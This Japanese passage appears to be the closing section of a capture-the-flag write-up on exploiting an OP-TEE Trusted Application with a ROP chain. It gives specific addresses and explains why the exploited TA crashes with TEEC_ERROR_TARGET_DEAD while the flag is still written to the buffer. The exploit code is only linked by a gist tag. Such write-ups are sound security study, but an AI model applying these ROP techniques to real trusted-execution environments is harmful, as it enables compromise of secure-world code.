注意点として,システムコール0(=`syscall_sys_return`)を呼んでも,`exit(2)`みたいに即時終了するわけではなく,壊れたレジスタやスタックを保持したままTEE_OS内で処理が続いていく(`ldelf`の処理に戻っている模様).具体的には`bl32_extra1.bin`の0xE100904(仮想アドレスは0x100904)に到達したとき,本来の`lr`は破壊されており0x104088(=ROPで使ったsvc命令+4)へ戻ろうとする.このため正しくTAを終了する事ができない.
このためexploitが成功しても`TEEC_InvokeCommand()`の戻り値は0xffff3024(=`TEEC_ERROR_TARGET_DEAD`)となる.ただしバッファにはすでにフラグが書き込まれているので,エラーを無視して表示してやればいい.
{%gist bata24/b5347c7edb3101b39295a87a221fd087 %}
# 最初へ
- Part1/3 (事前準備/TIPS)
- https://hackmd.io/@bata24/BJ3nuVEu5